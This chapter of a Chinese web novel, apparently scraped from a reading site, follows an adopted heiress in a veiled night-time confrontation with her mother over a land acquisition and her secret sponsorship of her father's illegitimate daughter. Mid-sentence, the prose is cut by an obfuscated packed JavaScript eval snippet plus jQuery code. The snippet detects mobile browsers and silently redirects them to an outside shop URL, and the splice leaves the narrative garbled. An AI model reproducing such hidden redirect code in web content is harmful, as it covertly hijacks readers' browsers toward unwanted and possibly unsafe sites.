姜潇洗完澡,觉得口渴,踩着拖鞋下楼喝水,脚步放得很轻。
月亮不知什么时候冒出来了,清冷光辉铺满大理石台阶。
她垂眼,一步、一步,慢吞吞地走着,盯着鞋面上软乎可爱的绒毛兔子,下耷的长耳朵一弹一弹的。
忽然,兔耳上的清辉转变成了温暖的橘黄色灯光。
姜潇停住脚步,抬头,看着向后转开的书房门,露出尽可能甜美的笑容,声音里却带着一丝生硬的慌乱,“母亲,您怎么还没睡?”
姜世英体弱,不属于那种只睡四个小时就能神采飞扬的高精力人群。姜潇成年后代她处理了许多工作,她乐得自在,睡得一天比一天早,作息堪比小学生(非卷王版)。
不知道她今天怎么突然恢复了成年人作息。
女人穿着宽松的睡衣,倚着门框,算不上形销骨立,却也称得上单薄,连压在肩头的黑发都显得沉重。
她眼神温软地注视着姜潇,轻声解释,“临时开了个会。你呢?”
姜潇乖巧回话:“想喝水。”
“哦,又是喝水。”姜世英模仿她的语气,苍白面容上浮现幼稚的笑意,“我们女儿真的不怕水肿哦?怎么不让保姆给你送水。”
当然不怕。姜潇想,喝再多也赶不上刚才耗费的。
她也笑笑,摇了摇头,依旧是那副乖乖巧巧的体贴模样,“太晚了,不想打扰阿姨们休息。”
姜世英抬手,捏了捏她的脸颊,“去吧,好孩子。”
“晚安,母亲。”
姜潇克制住躲开的冲动,任她捏完,转身下楼,走得有些快,能感觉到姜世英的沉沉目光就追在身后。
今天实在是说了太多句晚安,不然买个狗狗用的说话按钮吧,可以录音的那种,要说晚安就摁一下,方便高效。
姜潇心乱,脑子也乱,漫无边际地想着。
终于要走到旋转楼梯的尽头,心好像也落到了实处。
“你——”
姜世英开口,温柔嗓音追上姜潇,把她的心又揪了起来,“有没有哪里不舒服?”
“新品发布会的事,宋助理都告诉我了,权家那对父子实在是不像话,妈妈不会放过他们的。”
姜潇猛地回头,被女人眼中闪现的泪光蜇了一下,心中拉响警报。
鳄鱼的眼泪。
她绝对不能相信。
“没事。”姜潇佯装轻松,“我自己能解决的,母亲。”
姜世英蹙起眉,居高临下地看着她,神色黯然,“其实你可以多依赖依赖妈妈的。”
姜潇仰起脸,月光照得她浑身发冷。
依赖你?
让你知道我是一个废物,让你名正言顺地抛弃我?
休想。
“我不是小孩子了,母亲。”姜潇勾唇,面部轮廓被银辉勾描得冷而硬,如巧匠精心雕琢的塑像,“新北区礼山疗养院那块地皮,会属于庆英。”
作为首都的一部分,新北区被山地环绕,又有巨河横贯而过,可供开发的土地有限,却汇集了全国最好的医疗资源,拥有众多旅游景点,寸土尺金都是一种委婉的说法。
庆英集团总部就在新北区,但从比例上看,她们拥有的地皮却不算多,政府持有一部分,其他集团持有一部分,还有一部分被个人死捏着不愿放手。
礼山疗养院是一位已卸任首长的私产。
老人家是独身主义者,早就为自己的老年生活做好了规划,但人算不如天算,他的精力大不如前,不足以维持一家大型养老院的良好运转。请人代理是个办法,但身为能从本国政坛平安离休的老政客,多疑是他的固有属性,人哪有真金白银可靠?
是以,老人最近隐约流露出把疗养院带地皮一起转让的意愿。
各方心思浮动,但最强有力的竞争者只有庆英集团和星烨科技。前者,与礼山疗养院合作多年,提供了最专业的医疗护理团队。
后者,星烨科技的老会长和礼山疗养院主人是多年好友。老会长病故后,新任会长没有忘记延续这份情谊,常去探望,自称为老人的“半个儿子”。
听见姜潇的豪迈宣言,姜世英并无喜色,“尽力而为就好,别给自己太大压力。”
“权家没那么容易松口的。”
姜潇笃定地说:“早晚会松口的。权在烨撞车的事可大可小,全看我的心情,母亲,权叔叔早点放弃那块地,我的心情就会好一点。”
这些年,姜潇暗中用不同名义收购了许多邻近的小面积私有土地,只要拿下礼山疗养院,就能拼成一大块完整的可开发用地。
星烨科技当然可以吞下那块地,但也要准备好迎接报复和损失。
姜潇不介意打碎拼图,重新组合,让礼山从宝地变成废地。
至于权在烨?不过是利益天平上最无足轻重的筹码,姜潇没指望靠一个情绪不稳定的疯狗制胜……不过,偶尔拿来消遣还行。
有权在烨衬托,姜潇维持好风评都不需要砸那么多钱了。
看她心意已决,姜世英无可奈何地笑了,“好吧,那就希望我们潇潇得偿所愿了?虽然妈妈并不觉得撞车是什么小事。”
姜潇扯了扯唇,并不打算配合着说什么客套话。她们都达成目的了不是吗?母亲得到了保证,女儿得到了赏识。
姜世英跟女儿相视而笑,缓了缓,又有些犹疑地问,“听说,你资助了一个浦川的孩子?”
“……嗯。”
面部肌肉不受控地抽搐了一下,姜潇轻轻嗯了一声,借着捋发的动作低头,收敛笑意,“是的,母亲,那孩子很优秀,但说到底,庆英的资助生哪一个不优秀呢?小事,不值得您费心。”
原来,今天是因为这件事在书房等她。
“不值得吗?”
姜世英搭着楼梯扶手,向下走了两步,又停住。银白月光是一条沉默的长河,横亘在母女之间,缓慢而残酷地洗去最后一丝温情。
姜世英又问了一次:“不值得我费心吗,她来自浦川。”
姜潇没有抬头,怕月光照亮她怨毒的眼神,语气依旧柔顺恭敬,“我资助过好几个来自浦川的孩子了,母亲。”
姜世英见她还在装傻,不由得失望,把话挑明,“申绿妍是你父亲的私生女。你知道吗?如果知道的话……为什么?”
“我不在乎那个孩子,我只在乎你为什么这样做,为什么?”
“因为我不知道,因为她值得我投资。”
姜潇面无表情地抬起头,却没有看泫然欲泣的女人,而是看向走廊尽头紧闭的房门,也许住在那里的男人正偷听着,“这就是您和父亲分房多年的原因吗?母亲,如果您很在乎的话,为什么不离婚呢,是有更重要的原因吗?”
“那么,您还是相信我不知情吧,那样比较好。”
姜潇收回视线,眼中瞬间盈满泪水,似乎真的为这个消息感到悲痛,“因为我是真的不知道,母亲。”
姜世英愕然,嘴唇颤抖,张张合合,半晌才吐出一句,“血缘并不重要,潇潇。”
血缘不重要吗?姜潇在心中冷笑。
恐怕只有父亲的血缘不重要吧,您的血缘也不重要吗?那明明是我梦寐以求的东西,怎么可能不重要。
血缘不重要,那什么重要?我吗,和您没有血缘关系,可能遗传了精神疾病的我?别开玩笑了!
别再说这些冠冕堂皇的话了,快吐出来了。
面对真正无能为力、无法改变的东西,焦躁不安的情绪汹涌而来,姜潇浑身颤抖,就要演不下去。
好烦,好烦,好烦。
她猛然攥拳,指甲陷入掌心,用力,用力,直到掐出血痕。疼痛将不安感暂时压了下去。
姜潇看着几米开外、那个与她所有最强烈的爱恨密切相关的女人,含泪微笑起来,“我现在知道了,母亲,您放心,我不会因为这个偏心申绿妍,也不会因为这个去欺负她的。”
“早知道的话,定资助人选的时候,我就多翻两页,换一个人,免得惹母亲伤心了。”
姜世英叹气,缓步下楼,抬手,用指腹擦去她眼角的泪水,“妈妈没有伤心,真的,我的女儿一直都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055004|194855||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做得很好,妈妈相信你这样做没有私心。”
“真的?”姜潇佯装欣喜,用脸颊轻蹭女人的掌心,“母亲真的不伤心,也不生我气?”
不过是互相欺骗。
姜潇当然知道申绿妍的身份,这样做也是完全出于私心。
“真的,”姜世英将她的碎发顺至耳后,眼神慈爱,“妈妈只是害怕你在心里藏了事。”
“潇潇,你不需要讨好申绿妍,更不需要戒备她,她不能改变任何事情,也不会夺走任何属于你的东西。我相信你父亲也是这样想的,不然也不会把她丢在福利院了。”
姜世英语重心长:“哪有妈妈会生女儿的气?你想做什么就大胆地做,妈妈都支持你。”
“别哭了,又不是什么大事,不过是资助了一个私生女。妈妈当年做的事更过分呢,想不想知道?”
“想。”姜潇配合地说,鼻音重重的。
姜世英摸了摸她的头,棉言细语,“妈妈从小就身体不好,你姥姥特地买了个海岛给我休养,安排了好多好多医护人员专职照顾我,十年如一日,好不容易把身体养好一点,让妈妈回国接班,结果妈妈不务正业,一回国就看上了你父亲,还未婚怀孕,说什么都要生下你!”
“你姥姥说着生气,把妈妈赶了回去,结果一听说我想她,就偷偷跑来做蜜桃奶冻,让保姆喂给我吃,还不许别人泄密,哼哼,我吃第一口就知道是她的手艺了!”
“当地的蜜桃特别甜,我那会儿吃了很多,肯定是这个原因,我才会生下你这样可爱的女儿。”
“妈妈每天入睡前都会问上苍,我怎么能幸运成这样呢?有我们潇潇这样健康、善良又上进的女儿,蜜桃一样的孩子。”
手指顺着耳朵移向脸颊,姜世英狡黠地眨了眨眼睛,突然捏住姜潇泛红的鼻子,
“后来的事,你都知道啦,姥姥最终原谅了妈妈,接受了你和你父亲,还把庆英交给了我。”
姜世英笑眼弯弯:“说起来有点不好意思呢,我们潇潇的出生日期比我的结婚日期要早上好几年。”
姜潇假装感兴趣地听着,心却在那甜蜜的语调中沉了下去。
就是这种笑容,就是这种态度,因为什么都有,所以什么都不在乎的天真和残忍。
姜世英并非愚蠢,甚至可以说是绝对的顶级聪明人,接手庆英之后做的每一个决策都是极具前瞻性的。
但她却能做出那样的蠢事,编出这样蹩脚的谎言,
因为一厢情愿,和有孩子的男人结婚,因为一时兴起,领养一个来历不明的女孩……
姜世英是真的无所畏惧。
幸运就是她的人生底色,无论做什么,最终都能对她有所助益。
就像……
世界以她的意志运转。
姜潇凝望着姜世英带笑的眼睛,欲望掐住她的脖颈,愤怒灼烧她的心脏,呼吸不畅,痛不欲生。
脸部肌肉和泪光一同颤动,像即将剥落的纸糊面具。
凭什么……
你凭什么无所不能,凭什么这样残忍,凭什么让我钦慕又憎恨。
“傻了?”姜世英温柔地拍了拍她的脸颊,“其实妈妈就一个意思,你可以做任何事,不用有任何顾虑。”
可耻的骗子。
姜潇的眼睛还在哭,嘴巴已经笑了,“知道了,母亲。”
她先一步退开。
又是那个温顺体贴的女儿。
“明天还要上课,我先睡了,您也早点休息,母亲。”
得到应允,姜潇对她微微躬身告别,走进厨房,纯白的奢石岛台在月光下泛着蓝晕。
岛台上放着一杯水。
姜潇用手背碰了碰,还是温的。
姜潇有半夜下楼喝水的习惯,姜世英就吩咐保姆每隔一小时换一次岛台上的水,让她随时有温水可喝。
“……呵。”
姜潇举起水杯,倾斜,看着纤柔水流变成一滴接一滴珍珠般的水珠。
她才不喝。
这么折腾人,也不怕保姆往里面吐口水。